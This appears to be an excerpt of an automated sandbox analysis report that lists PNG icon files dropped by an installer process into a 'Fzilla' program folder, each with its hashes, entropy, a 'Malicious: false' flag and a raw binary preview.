C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-V28B3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.814910844818487
Encrypted:	false
SSDEEP:	24:CbXaOP4L74Pm+VEJ2Hhm2tQBrRzcEieZvIyifDRWzwqf4UQ1qy0fN8:CbXZZPmCfhjKBrRzF8yY101gUESfN8
MD5:	4A3BB96193B345FA8CCFE1FAEBFC0BD5
SHA1:	AA35FF707BB811274745CF0CFA43A57E8FD92580
SHA-256:	99F6E69336F2C6A6AF2B60A95C4392C81D5AA1C338D9F13AC1ACAA75D19E891A
SHA-512:	B769BB196B9F40FC52DC1E8C8B21370ACE8B30BBA2934D62DD7C7B94B71702DE7B73730DE5EF73137077C08DB2D022ECC8BCBECDD457877935FBB1C5889B4885
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......@....x..m..m.m.m.\|.5.I.).4.Sw.....9A.Y.r..,1....[...8`7~....X.D...%.Zx......K..K@aix.......y..~...u..x1~..'....l._qS\...p...Ql..W....D.....\|.....)..38....X.pW.f..........>.[.....b#.........$^i@Z.drr..z.jEQ.9..@..mX......@J....~....G..n.{....+V......7.....!eY..z...VhA..j,?..n.....nm@...w?..m...w......ccc3u]?9.\|..+...p.....;..cy6..,.....U.V}..68Zk...7......X...s.R....f._...?...MLL..._.A>yddd{L.....l.4.\|...Y1....+^.[.Y.X.2..........H_......(D@Z......~....l.]...R..(.Q* .d...v...../(..Y......v.+0..M.G.Y.l...Q...{.nq....6.^H.i.(9...."{...Y....}.~.EO5e.pDM...=,...(%.)q3..:j..d.KHp..q!qaW...D9....=!Z..f.hD.....`zzZ.t..H z.l.A...'...@1.P.$..`../_..Pi2...8b..NqZ...c%.E..G .t.O.4...H#...Qw.yl.`...o.....5.8.C..c....s...Bx..)...$T.qZ.2......{.[+..GB.z.w...`...r.s.3.\.Dn..;.+....J...H.b.........Q....`..X._@.../.&.......<.b9..@...[.....;z.... .B..._........VP....L]S.....~2..x..F....I%j.e.R.....".L

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-VUSUQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.419592753045054
Encrypted:	false
SSDEEP:	12:6v/7lPD4KOsf+opWFR3EON0U+nv22+7kzg0r632lo76P:4D4KP+opWMOipnu2bzgScwP
MD5:	A97E3E127BDFEABBB86A5958BC9E1943
SHA1:	87D2C1844CEA49487CEA26EE1F4409A4CA3EF859
SHA-256:	11C08E4C4B75EAEE879EC71C1234564B4D3EDA0AC0CA22F5014A8B6F8123A133
SHA-512:	735DDEBD90F8A48785D4A3AAA5CCB6B8ACC599C22E9896D57BE5368F69BE373AA7C9109C0D57EBD3FDE33188E918D65B10591F0602ACB1DB61D20098CEBC253C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A.F..k.m..m.m;..m,.[.....lM.W..s..f..LXLLLL.j..,B{\|.m..i.oE....i.,..D......Z.K.,.....a.(.......$.....C...(.h...a.(.o5$..I#...o.a....!..U....I;.EL....E6Z....q...:..7.S).t.u.....D...W............N@..Zy.-..Q .^...V:h&..jt!..[k.....`......`..je..:.3.jn...:.^f.\|+M.B.....:+.....Z.h.,..O@P.\|?.5..Q ...a..."i'.P...{\|E.^7.NW....j...Z.}.S.4-....4{.;.r.G.....!.S+."pY}...<...0.j....vt..&..U....B F..?...}._^.N.v$...M..X.NX...}G......t[..O..=..UC...Tw..5Q.3..!O.=D..2..!B.6.1........Q...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\leds.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1827
Entropy (8bit):	7.806449503481178
Encrypted:	false
SSDEEP:	48:A9OCGJ12wFUckS9WqTrEK8DbXYTOAG9pwZTH4pEmi0N7:A9OV/pFUckSE2AKwboOAG9IF10N7
MD5:	E77DD22AE02A04794B54AC7F6756A91C
SHA1:	C6DB35E63CFBBFA9635CFAA8627986AB256F9BC8
SHA-256:	B121263C2E0AD79FCA64F878786984952AB6EB764A3F7ED76D943B8E3026327D
SHA-512:	3B455FA6D818F87D2C4AD8EFEEA9A064D35A7ADAAC2A114B71B91603555C7191C15C139B62C5B4A1F5DDFA0A7525612F807C5A9D117433EBC1DBC4A321059016
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....#.....xf.V..1L.m.6.k...m........<.J.N........9.....&\<.>.JX...&.3.....aa.....K`..z..l....7.......(..}L...[..x.P...K...$m....#"Zy0I. .e.......x 3v....u.KUKd$.d.n.v....}Ou..._.O[._F..El.S.._..3....0........Y....u.P..Xi.q]............f.>...q.........c..V..k.......%..J......4....V..V..B..Wb...........Q...N..c.#..D........wT..M..E..l.....17..6.#.HDlL.........Vh....&>.Mr.K..c..4.#f....Ki.G..........;.\|..]...P..2.8.[.6....G@.</..0.6 .......n$`.....ET"bFL.G`8D..<....C...(P.SD.......d..DgT$mD..C...T[h)...\|l...@#.[9.# ..v,1..".....B ..L...S3".]G,..@..m....J..#..p../...@...J.`.#,.^b~..\8E......d...t..p?..jD....7..8.g....L......p\.u._.e..M.....J(g.v..8..X.I.VAY.du.+7.Qc...N./....npD.Xev;...Rcx.5 ._.q......Z..a.Gx.v..o..x.^.B..5.xUb.VbIo.!.#..........._.p..>..pD5.v.^...8T..0.C..gX......g.~...B._t.z.{...$.x.. ....{..q.....XE......p./.......gz......~..)...Z.r..=\|..{....s..+`..(.....'2.X..h.}@v.`>..C@h.....g`?......!

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.814910844818487
Encrypted:	false
SSDEEP:	24:CbXaOP4L74Pm+VEJ2Hhm2tQBrRzcEieZvIyifDRWzwqf4UQ1qy0fN8:CbXZZPmCfhjKBrRzF8yY101gUESfN8
MD5:	4A3BB96193B345FA8CCFE1FAEBFC0BD5
SHA1:	AA35FF707BB811274745CF0CFA43A57E8FD92580
SHA-256:	99F6E69336F2C6A6AF2B60A95C4392C81D5AA1C338D9F13AC1ACAA75D19E891A
SHA-512:	B769BB196B9F40FC52DC1E8C8B21370ACE8B30BBA2934D62DD7C7B94B71702DE7B73730DE5EF73137077C08DB2D022ECC8BCBECDD457877935FBB1C5889B4885
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......@....x..m..m.m.m.\|.5.I.).4.Sw.....9A.Y.r..,1....[...8`7~....X.D...%.Zx......K..K@aix.......y..~...u..x1~..'....l._qS\...p...Ql..W....D.....\|.....)..38....X.pW.f..........>.[.....b#.........$^i@Z.drr..z.jEQ.9..@..mX......@J....~....G..n.{....+V......7.....!eY..z...VhA..j,?..n.....nm@...w?..m...w......ccc3u]?9.\|..+...p.....;..cy6..,.....U.V}..68Zk...7......X...s.R....f._...?...MLL..._.A>yddd{L.....l.4.\|...Y1....+^.[.Y.X.2..........H_......(D@Z......~....l.]...R..(.Q* .d...v...../(..Y......v.+0..M.G.Y.l...Q...{.nq....6.^H.i.(9...."{...Y....}.~.EO5e.pDM...=,...(%.)q3..:j..d.KHp..q!qaW...D9....=!Z..f.hD.....`zzZ.t..H z.l.A...'...@1.P.$..`../_..Pi2...8b..NqZ...c%.E..G .t.O.4...H#...Qw.yl.`...o.....5.8.C..c....s...Bx..)...$T.qZ.2......{.[+..GB.z.w...`...r.s.3.\.Dn..;.+....J...H.b.........Q....`..X._@.../.&.......<.b9..@...[.....;z.... .B..._........VP....L]S.....~2..x..F....I%j.e.R.....".L

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	608
Entropy (8bit):	7.493543787550498
Encrypted:	false
SSDEEP:	12:6v/7g8YqVYA/HgmH5dO+pASZgQOl/wWpC0yvRJlR0aI3HdYLfKec:d/qV7/BemAl/wwCR7S1Hd0fc
MD5:	60D8F0C9D2C780AF9EF8671CEA5B3EF0
SHA1:	6C1EAA0B024C3CF7013F51050766D164018A1E49
SHA-256:	92BC14CCDD53477D0E425845E535265CAA9A17BF520998CA88199EC763EB2FE2
SHA-512:	4BBEB66F3A5BF3188A091465B26189EA5A025731F77B28962001FD944D27B8B5B009A20B5031C08A92388780354E23EEE2D671AB5BE4737303F7A675952D5D59
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....'IDATX...k.a...w)A....Ap.tPppPpU.q....E.5.5.wTT..A-'I......Vs.1..&...A+N.....A.(..!..r... ..n......N$.p.1.t...q.=......>.3. .}A.G...k....m=.)R8.Q,. ^.......{~.D..A.......l:O. ......q....6...j...V V.6../m.G.nb....no...u...e....st.X.F9s..-..+7..c......f...N...i..{>.<5gX.4].M..3VYa...I.(>9...+..M...`/[Lr.U....E.b..&....Z.s.u.!..0.G...@......M.... .Y.K...Et,P.T..b.5........D.c.-...}:.'h..97$..v....L.9,R.....2.Cdf.C..Z...;R.._... "ru..g....W..b_..g.....m..4.....5hT.......1.N6.6:.a......p.Xm.).8MM.V.6..;..H.._..;W.R.pI......o.....}gD....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1033
Entropy (8bit):	7.768863511317586
Encrypted:	false
SSDEEP:	24:zsDWmHvXFwvk8xE772Kcz00ClXWMbI70vfwC+PNf87GbO7aS1Li21:zsK20BoCv5WI7afw3PNfA31
MD5:	CF0BD15B312DBE7E9EB590C03BE039A0
SHA1:	96A4A1A8504740697D503204E2577DB7CD5648CB
SHA-256:	0C40122279993D27EB44FAB871F1CC3B77DB0C835F414374F721A63930F0682D
SHA-512:	B2790732033CA8974204427872D06D60DF45EF264344F769C37BA4DA0020366FD9F902AA6A9347DE7EE4B9AB72D351D0AFDFFAE82319FC46A89819557FF573C1
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx......u.....9...{...2RJZo.DEz.)F.Ue,.l..j.......D..PC...&h..Ukm..v_......r<..r..`...x._.....;&..~.].......:`Za.....V.-V9bJ.n,5h-^...x.....9..%v..K.\|."...A........${.......~O:....R......r...../.v..$.....!u2~....^\|....=X...oQ.6.....c6h..Leo.....p.gL".7...=..o.........pN0...M.6..:O......N...V.U5_4..a.n....7..S...#..=.....\|lJ...._k....rI).z...W.wDUDA...~.#Y2..h.me..2...dlv.>..+j.5.%QT.WU3..........WA.<......)...2f.h....$...E@.y...Z......4..U4......4n....A..#.f.y^M.N...V0.<.qp.]..h+.~D.r.P...N..4.e5@..9<2tY..\..c....l.(..%z.d..Ds...3.I.&-...@A.[..:..V&P.k.......(}`...2I ...h..Mk..>..z.6./...N.+{\.L.KZr......G...v..'..\|t..5...^yWT...^....._6..OxL.PR..7.a...W..L ...D..{.D.Q@UYKV...94,u..#.......d.;nlv.ol.g........h...T..0.,J}k..!.Z.a...D..\.RSP.ss.Y.a...@7....e..uJ..!s.e=Z.] ..d5..YAb..*...\|...1}VMO.h.QV..:.5Kl..@...~2.......e.%......(d&hS....h.K@...D$..t''. .&..S"....%7e H.....(J.).D(.......i...Q

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	364
Entropy (8bit):	7.053084072875838
Encrypted:	false
SSDEEP:	6:6v/lhPUUXEXl5FaUv0RjAkxjgXqfB9zu5Ink4Yq7zcnkrSiUZbDWRC+Vp:6v/7VEXluVRjAkOXqp9Cek4Z7zgkGiU+
MD5:	8E29883E144B9CDAB46EA6939A9B561D
SHA1:	359398993D07FD5F89D4707099274BFA713DE18B
SHA-256:	D2CB80E80774006A574502622B7FE087FE835E12B7EAE3CBC2C7756DBD135EE8
SHA-512:	3CE485978F06A6B557E4386AFCC55AAADDA9C1268A2D7821EC294A8D9F26FD492F7B66B5B0CFB354347DE8E817337D15BE8D01B4E6507B7DB4BA6A92F0DDC15E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx....D.A....D.E...!H. @.R.......')..JH@.. (pG.......$T....`........n.O+.....x.R.......94I.......Z.#..T...k..0.X...9.. ....H..C4`.b.@q........ .V%.......Bn...u.....@.aJn...M...Br.y.%...Ry...O...U.......U}..0..&.Q...V..~.......r.b...r......F...1`."..t.[.cc@0zO..5...*.....&.g...J:G0@.......x<..~...<s_..R.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1559
Entropy (8bit):	7.833720117736715
Encrypted:	false
SSDEEP:	24:cDTOZRVH04m+U98esI8HRYhh9nVaaH68QP7FKc0GIrgz0LBVCK4lnMqTNYQ:qCXVH04m+wsYz7at3P7FK1C+qeQ
MD5:	534F1574C5D441E0B5CDBFAA065E0F74
SHA1:	9B6D42683F85D7418624E400F391C3118ECA0384
SHA-256:	56B1CB2C63DE74670DB9D9823E47EBCC99DF8F067BB873D25C615818948CB0F6
SHA-512:	492D49A3AFB365C51CB2E356087C5FD8F6CF4ED318DACD5A4166FDE85534EA6958A42F84E4E671B335ECAAB3C448ED72CC99EBBCB8F99ABE8BBC57DE0BD7B269
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....dY..;...8.'.`..m.m.5.m...n...6.3..g...ae.{.z.../...s../.y.5Z.5...".H>9..$...9.... ..q...XJ..A...RNf.....-.@."..\|H^&..,.:y..(...6.X.3]..D@L....Q.7..@\|\|\|.E....c.........J.H._..........G.P..#E....A.7........!...d..[.n3........:........<.-.A......4..w_A"...................G....q.N..../..5.-...r....L..h.Ol....C..c.JNN......{..=]TTtt...........>(v.Y....=..._cZ.6...O.N.2....'8...c...s.\$.H..x.B...(--EMM....0l.01.kW.xa... .g....:.))).LYY......1.....'......%%%b.+.1c.X".0s.L........j..y.1..M..I.222..........,..E~~....Sb..@c.4!.q~.,..@vv..r...x<..}....B.]..>.......g.;R............h ..2...i.......1......07(........]..h....c8r....>F..4)[.-.....b...)9j.QG.5..E...E.X..fU...._...&.MhZ.3 .l...S..[.........._../n.....b.P..bP.zL)...(~.^X......%&&qG.O/....9N...0..a0 b......?..N.xa...X\.i7.(..EgWB6....h.....F....O..:....\q...{..8....X.;.-...n....$...o.nx..Z...i^.pw..#.W.... b...".........c.r\.......i.;L.`...

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2265
Entropy (8bit):	7.8574358861512
Encrypted:	false
SSDEEP:	48:AyQ3QCqi+Un2PvXoWATRyCZ5IZ7YUb2PbpFHPj3vKB96t4KNygKU:rfPAHZ5+EPbveBItpMg1
MD5:	42AA2F8AB212AE2F20C77FAB02E894D6
SHA1:	39D9A0FCF2029EE555FC2D94B9D8B83CCD4D555C
SHA-256:	E8D622236EFA0521DC9061901D20E4999C77DD2847581F320C78F5DD3665F6A1
SHA-512:	6DDA8032FCCBDC12175FFAC5E611B78036928124416674D3E0273C17BB044E73369EECE8CF9A5EFB82B912039C2D96D2E80CB06C491ECF34CECFADE8BC607443
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx^..y..e..........c....b)T.R.(GS.".!..bH.I.P.h4(...&..... "GQD.D...RJ[h..[..1;;;;;.....KwfYbH.I...5.........#.8BP....2@.....G.~ss_.............S_z.E..r..x..Q.......~..P......7.....a%..".....@...e+&..p...2xQ...iz.F.I.@)....b...c.......X....CtCp....`.....nu.c.3. .iv<....O3N..]jp.U+.U.... ..XqI.%_L.......p...-!H5..M.F.g./...L.....QBa.q%..).CJr{}.T,].b..A.?S.n....t..S..\|..{.G.KO.dj.S8. ....r.}....jk.w..e...P...%&.....0S....A2.g...0c..V...Ny...X.F.....F......)d.q...........w.0.F...=.~....6...ig7q...?.bh.O9'.:..?.E.r_.Y.u..@.....#.8....<..x..i.)....S.2+...\|..a..\|...v...s........`..x.\|]eF5#c.i.l{.f.~V......)....W\pM......7.C.K9.sN........<~....A.Oo..;o.<.GS...L"...3....:.PY6.v.g....%.,.K.](9..D.t@...."{....G.......Z4.P..Y}}..'....H).t...0.......z.b....}....nQ.}.6......=;....7....[.\Fe.....Q..L.@..<yo.=...e..}..:...5.....m..l.0.....)....y..;.}.tAl.b.8\|@t..P...&.c5..&......S...[v:+.,B..].)W.l....ur.C.m!C.<.N

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.51770585961639
Encrypted:	false
SSDEEP:	12:6v/7kztrNsv1CU2aKA4LEVO/ej3R8NuEeyzfpAJEfhoRlJcLK428eKHp7pl0:DzVNICU2ORu9aGuR4HPeKHpQ
MD5:	77F2114CEE5D114FF955F70100E93E83
SHA1:	A058910F4A48342105660E75D3DA3109E6582085
SHA-256:	7DD19E2D377D47C8F9985E43370DA6AD1A7ABBB26900B3269DBA6511DF518ACB
SHA-512:	DF6C50D9AFD14E145A95DA3C504686CDD1B47DE07CE609D6BBD677CF4D3939A842DFB43B7BAE96A721DFF2D57F00C6FC067582B40209AA1FCCAE559217188AF0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....$M......mcm.m.m.m.m.}.T.....A.'y>N%....K.8q.......F.....X..l.T.... .B...!...R...C$.(.Q..?..........@{.r./!A....U`&.'H.... :.G{.F...o.'..;.C.]..._.3.X..@'d..G.....j6jW.D..uX..........Yv......t.."c.f~....m.\Dm.98...+.8..@4..@.\.3........DG.......eOx._.>.......,...H..R..Zu..&\....(.....:DY..&.......2..\F]..B4.m,P..<A'SW.Q..cc........B..6?....4Q`.DYis.x.....&A..6...Q^....}!.uxm,....DS..@4qC..EL.....i...MW\|a.N...\..\|.J....o.Y.1D...;F...U.5.\.O....D.'....W.OF..]Y.Hl..@-..&..pmu..c.....fS.c..;K.F.,...Bc........n,.6..Q..8...\>..\.(.r..U./p...#.AF\|......".VB.]R....X....N....\|i.!...x.y.G.p......_...P./ Xl....#....z..j!=.W...Q.X....Cx....'N.Dm^....M.4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1450
Entropy (8bit):	7.802879954373579
Encrypted:	false
SSDEEP:	24:DL5MsE733nXSC1a/ShXwd09bA6Hvx43Q5r7H1vD6vHuWTBB8P:DL5Mr733XDAuX60ZxZpN7HJlKB8P
MD5:	5E5864C1CCE24C7960B5D3ADF7AAD51F
SHA1:	60117AA48AFE8312C1A214062B1179D2394BD063
SHA-256:	25590743B8A8C2DA52FFBEAF993D0AC4C31F4B0BF6A5B3A7FB4F9FF8EE098914
SHA-512:	B16B9CB2AE50C9B13AB5B31119BC6F13C605D990F682995A118046621C73EB6C2B71D3BBF0DFEF700BB8F172C3D32BF618B8A6783BBCDCD0C7C795845EF46987
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......qIDATx.....$[.....m..m{l.m...c.96..].$c.O.<]..VW.Ll.-..v..[.I.K...S.I....1......O.."W.4....sdI..u2AF..X+.j......r..Sf....W..L."......Y&.\.2)."..#.......M.6?..\|1......3.t......V......oi...u...G..m.1.......Q..4i.ULu..R......D...^.U.Vc.5k...\...i..b..X{..i.<..+.T.}...]..z......R..m...={.\.C..M..=Nu....-[............eO...l...GN.IK...O.....a..k..>}z.+.s.=..yT................M=....+....HKK;.y..=...vL.}){...K.....hR....i......4.\.....^..?..3..V.f.....y.7...0....(;..+JJJB..V.Z...m..t,].F........b.uv\...x...eJ.....f.......P.[h....{L/.....:...p..f..... .........w....)((..m]k?.e....,.^.6......e...r.Q.]n.......u..y...a.../@,@,..up......N.%..z...m.U..)..Q.s\..q\...*I...;...4.\|Km.8......;.....`..r'^.A.@..r.........Lx../N/...3....{.i..;@..n]^..P..W.......U!.....v.Bx.....Ah.....y....t./.?.....=Ob^:.:.%7....8...a..T.....d.?%.....S....#e...\|d`...r.....+..R..\|...;...~........6...<.U...&....$.......R.H...9.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	7.789946707579446
Encrypted:	false
SSDEEP:	24:3VzK+kc3pDUZOKGjdLrjxPJp8XUggAqaj9NOz:3llzAZGjdLrjxPJmjgLajg
MD5:	83EF20F610313A4652F5AC274C4ABDDD
SHA1:	2E40F7237322A11F4D326C0A45C0A3DD0D803630
SHA-256:	13BCF1EE293257E6574FF7BD93FBB52EDD581609180F7E463C8AA3CFF0F1408B
SHA-512:	EE2D802FE8F5DF3126F5940F73FD1645AD8839C4F67696611000753FBF526CC6B469975AFF0946DC569573675F4348AE92F3C56C4308FA3ABF28F332E937F8D6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......PIDATx.b......6.4.....6k]....c..L1Smj..k.q6v.....\|.Du{..L....(......;v..t.:.....Q.C...G]....1>..#........z.@.E./..Yjy)>...w..}.z(..Z9....Z..K...{.s..L....~4...F.....0..!..>....y=:.....fGF.`.. Wi.....Fo.\!.\)..`.w2y-...&..N'..G..}.-/..Z..<{..G.[.h.......G.E8X\..q..:^<U.2.u.\|....K.s.v_./....s.-s.....{.,....O8XP..R?......>@aU9\|......./.)...y...%W....h..8....Z...Pw}...R~..X\.5..x\|.q.r."...)...R........s....R..Uc.b./.B.5-^..".....I.f#.f..T.TM.Uhq..U.oBx.>....[.P!..J......\.....Q&..V..^..?...L.7....M...H.Xc........e"...~.\.'..W...FFFg..G02B.....?.....ml....To.}.l...D..g.WAA-.@..'w........H#....5F.k{..`..ke..4....m........L......oK,.m-.Y.4......X..X...I$....~...........QLOOcbb..1.L$.7.9.d2...AX,.X.....Id2....A....Am...W.!..V...\..C`e.H..$.F G:.FGG..z=.......'.h4..N.w..P."...s../.\..jM..5..3..Gm.I%.I....d..K..4\|....'.}<n7e.o...n.q:..Z..mi..ZD[......(.............w....H%......r.]........^=[...t"s.,..:...Qo_?z....=.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2337
Entropy (8bit):	7.889825043854827
Encrypted:	false
SSDEEP:	48:crWCb3Gxk3lTNkgEx59ThxAkK/e2OpgMMKcn7nc1aVMU2zu:yWG3lTNkHH222fMMsGky
MD5:	3074B911242301D208B68D18AD83327F
SHA1:	A125B6088F25E22B8030B73953B2D5C1FBD54E97
SHA-256:	8E4E993FA5D35F52D91278798D3FF35182B0E284E7DC385A32847A7E62747313
SHA-512:	7935E90F6D407641CB27DE4FB24563FFBC794945F50A6221117D3B9820B2E94235C8C36808FDB52FC6F46CD6C2FB5320D97532EA463B4906E970962188A2516E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..yP......t..1..:....(....p....r) .W.e.caw.eY.." "........5.LF.}..6.M'..fjf.'=d.}\|..E.e.....g.c_...s....^.5.....^.kMH.<.HX....K.#../.L........?o....O^.....-.o$...{.{.o.b]T..E.X.. . >].~.O..@KK.R..%Z.....D....jP.QC"..\|....v..lF.,....&.N.ti.R.HJ..s..;.#qs..gH..PB.T.rg...0.o.+..>....I..7.k....Y.%..`. ..IJ,.. C.lR.............EA.G...b.!k....5.QH.v.~..M.....V(:...j.....d..N..S......kt.....>.XLx....."..~......!....V:_)H@z...Bx.......E\|L\|wJ....q......A...a....$.7,...q..$J......j....b..U..F G..F..&.'l#...S..M^n.477..{{04`.`.............%EZ..:.P..Q9M.2..'..:...R....Z..:.V.J.uA..m..z.XSR..7w.d..P6@...V.F.x..l..qz&..K&MjZ...9...I.HH.O.....!...........X.u..T.n.T..... 8f3....x..T.m..2.!.....;9"cAe....7.'...../....<..<...%.......i....L..:;l....J....yn..X...`Rh.\|t...N/y..'..5.V..H..l.^....0.1...j.F=...."nn...:>..]....L..dP9.OIE.-...>.).!..@....8.....T........3,.+.......m0..A.a%...N...B.P(..Q.T..B..M..)v6p.\..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.635125877464344
Encrypted:	false
SSDEEP:	24:+Vl7a8uVEYyO0+W/sWs5XTqtF7Yscjl/7:+VVtsXWhEG7JEZ
MD5:	01468117EF38F6C409E52E6AF4980499
SHA1:	410B3D78F479E5B9AB882B2D4978730CC75D6A1C
SHA-256:	ED4C8B569F8CAD2FF40783F0CE8CE9D9095B1A5E124CB87040131C094B7EDD1B
SHA-512:	3B62E70F2CFBB403CAF1992478EDC8E312C53C50A242A7C6235B35FCBC5339DB9D84ED380A066CB09F268A93752A5BDE9AAD60B9B4AE3F6E684AA2443E356306
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......&IDATx....lt[....l.Q.m...z.m.m..o.?..u..I.l.....#********&.i'.....z...B....C......P....C ....9..y.2.L../.]H.-.aS1.Cy.....A.C.....'a...P.........t.a.......n......XM8. ...(.C..f..!z`..f+2.8...k.;...s..\..$..^:.....(.o.+.~Xq.1....?8............n....Wk...9...T.f..X~.E.Y..Y.K...,.Z...QWm.......T.D,>.5.Q..0...{..K?.=..?..:.FeQ"Jj.q}J2.....vCG....?.0..Q..A..1i...m.W^o,.BA]..)...a!......8....t..O..-:EHb(...P..c.....{.b.XD8o\;...h..c:.#.:.(t.d...d6..E[Yi.g.....x....d........o.\7......,......c....J..h#.........ioI6...L...1",.=.A...;.....B...C..CcK.+.XW......... ,wA.....#h..#...}.c..H................q..L2.n....Y.......7.......q.[..b......'.D.l@<A....D..g....8d....P+.`..xD2 .0.5..d.C..=...I.\......#.p.d.e..W.:.....H&....c@...p.l.6...-.<......u.N..1`K.Y../********..<.....:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	7.778287018228459
Encrypted:	false
SSDEEP:	24:3iTrjIU/RlA2aqElE27BmLMYLLzVRHpvtiP1BMORO0xt:36gUPaq2E2woYL3V3v4PbMeh
MD5:	98ED26C5379EF6C8230CEDB6A67F76F2
SHA1:	543CAFCF47D42586704FF87FBDBF02B5B3AEA417
SHA-256:	A2542D8C3FD64E23FEA0CEF09BD69DAF5959CAB8DF41BB93A2F1CFB1C59019E0
SHA-512:	3E1D379B5448DF5586A8D7D9A94F94B0CA2522A1B653ADEBC83C7E3281A266255682B4CC5A95D4EC6E73343EEA8D85CC5433B85F0B1E796FC972F6CCEFF9F06D
Malicious:	false
